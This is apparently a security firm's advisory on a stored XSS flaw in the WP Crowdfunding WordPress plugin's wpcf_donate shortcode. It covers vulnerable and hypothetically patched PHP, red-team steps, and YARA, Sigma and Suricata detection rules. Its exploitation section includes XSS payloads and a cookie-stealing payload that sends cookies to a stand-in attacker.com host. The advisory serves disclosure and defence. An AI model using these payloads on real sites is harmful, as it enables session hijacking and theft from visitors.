CVE-2024-10117

Executive Summary

CVE-2024-10117 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Crowdfunding WordPress plugin, affecting all versions up to and including 2.1.11. The flaw resides in the wpcf_donate shortcode, where user-supplied attributes are not properly sanitized or escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This can lead to session hijacking, credential theft, or defacement within the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires contributor-level authentication.
• User Interaction (UI): None (N) – No user action needed for execution.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

CVSS Score: 6.4 (Medium)
Threat Level: Medium – Exploitation requires authentication but can lead to persistent compromise.

Deep Dive & Mechanics

The wpcf_donate shortcode is used to render donation forms. The plugin fails to sanitize and escape user-supplied attributes (e.g., title, button_text, description) before outputting them in the HTML. An attacker with contributor-level access can create or edit a post containing the shortcode with malicious JavaScript payloads in these attributes. When the page is rendered, the payload executes in the context of the victim’s browser.

Root Cause: Insufficient input validation and output escaping in the shortcode handler.

Attack Flow:

1. Attacker logs in with contributor privileges.
2. Creates a new post or page.
3. Inserts [wpcf_donate title="<script>alert('XSS')</script>"].
4. Any user visiting the page triggers the script.

Vulnerable vs. Patched Code

Vulnerable Code (wp-crowdfunding/includes/class-wpcf-shortcodes.php):

function wpcf_donate_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'button_text' => '',
        'description' => ''
    ), $atts);
    // Direct output without escaping
    echo '<h2>' . $atts['title'] . '</h2>';
    echo '<p>' . $atts['description'] . '</p>';
    echo '<button>' . $atts['button_text'] . '</button>';
}

Patched Code (Hypothetical Fix):

function wpcf_donate_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'button_text' => '',
        'description' => ''
    ), $atts);
    // Properly escape output
    echo '<h2>' . esc_html($atts['title']) . '</h2>';
    echo '<p>' . esc_html($atts['description']) . '</p>';
    echo '<button>' . esc_html($atts['button_text']) . '</button>';
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WP Crowdfunding <= 2.1.11.
• Contributor-level account.

Steps:

1. Log in as contributor.
2. Create a new post.
3. Insert the following shortcode:

   [wpcf_donate title="<img src=x onerror=alert('XSS')>"]
   

4. Publish the post.
5. Any user visiting the post will see an alert box.

Advanced Payload:

[wpcf_donate title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts containing wpcf_donate shortcode with suspicious attributes.
• Use WAF rules to block <script> tags in shortcode attributes.
• Review user activity logs for unusual shortcode usage.

Prevention:

• Disable the plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
• File: Modified posts containing wpcf_donate shortcode with JavaScript payloads.
• Log: WordPress audit logs showing creation of posts with wpcf_donate shortcode by non-admin users.
• Browser: Unusual JavaScript execution on donation pages.

Detection Engineering

YARA Rule

rule wp_crowdfunding_xss {
    meta:
        description = "Detects stored XSS payloads in WP Crowdfunding shortcode"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-10117"
    strings:
        $shortcode = /\[wpcf_donate[^\]]*\]/ nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_onerror = /onerror\s*=\s*["']?[^"']*["']?/i
    condition:
        $shortcode and ($xss_payload or $xss_onerror)
}

Sigma Rule

title: WP Crowdfunding Stored XSS via Shortcode
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via wpcf_donate shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'wpcf_donate'
        http.url|contains|any:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"WP Crowdfunding Stored XSS Attempt"; flow:to_server,established; content:"wpcf_donate"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Crowdfunding plugin until a patch is released.
2. Review all posts/pages for malicious shortcode usage.
3. Reset passwords for contributor-level accounts.

Long-term Fix:

• Apply the vendor patch when available.
• Implement input validation and output escaping for all shortcode attributes.
• Conduct security audit of the plugin codebase.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads.
• Restrict shortcode usage to administrators only via current_user_can() checks.

Valters IT
Securing Digital Frontiers